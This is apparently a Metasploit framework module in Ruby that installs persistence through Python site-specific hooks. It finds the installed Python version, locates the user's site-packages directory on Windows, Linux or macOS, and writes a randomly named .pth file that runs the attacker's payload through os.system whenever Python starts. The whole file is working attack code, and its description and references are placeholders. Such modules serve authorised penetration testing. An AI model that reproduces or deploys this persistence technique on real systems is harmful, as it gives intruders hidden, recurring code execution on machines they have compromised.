Martin Sutovsky
101 lines
3.3 KiB
Ruby
101 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
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# includes: is_root?
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include Msf::Post::Linux::Priv
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# includes writable?, upload_file, upload_and_chmodx, exploit_data
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include Msf::Post::File
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# includes generate_payload_exe
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include Msf::Exploit::EXE
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# includes register_files_for_cleanup
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include Msf::Exploit::FileDropper
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# defines install_persistence and does our cleanup
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# WritableDir
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include Msf::Exploit::Local::Persistence
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# runs check automatically
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Python Site-Specific Hook Persistence',
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'Description' => %q{
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This exploit sample shows how a persistence module could be written
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for a linux computer.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'msutovsky-r7', # msf module
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],
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'Platform' => ['linux', 'windows', 'osx'],
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'Arch' => [ ARCH_CMD ],
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'SessionTypes' => [ 'meterpreter', 'shell' ], # @clean_up_rc only works in meterpreter sessions
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'Targets' => [[ 'Auto', {} ]],
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'References' => [
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[ 'OSVDB', '12345' ],
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[ 'EDB', '12345' ],
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[ 'URL', 'http://www.example.com'],
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[ 'CVE', '1978-1234'],
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['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], # https://github.com/rapid7/metasploit-framework/pull/20289
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],
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'DisclosureDate' => '2023-11-29',
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [],
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'SideEffects' => []
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}
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)
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)
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register_advanced_options [
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OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
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]
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end
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def get_hooks_path
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case session.platform
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when 'windows', 'win'
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@hooks_path = "C:\\Program Files\\Python#{@python_version.sub('.', '')}\\lib\\site-packages\\"
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when 'osx', 'linux'
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@hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/")
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end
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end
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def get_python_version
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case session.platform
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when 'windows', 'win'
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cmd_exec('python3.exe --version 2> nul || python2.exe --version 2> nul|| python.exe --version 2> nul')
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when 'osx', 'linux'
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cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/
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end
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@python_version = Regexp.last_match(1)
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end
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def check
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get_python_version
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return CheckCode::Safe('Python not present on the system') unless @python_version
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CheckCode::Vulnerable('Python is present on the system')
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end
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def install_persistence
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get_python_version unless @python_version
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get_hooks_path unless @hooks_path
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file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
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cmd_exec("mkdir -p #{@hooks_path}")
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fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") ))
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end
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end
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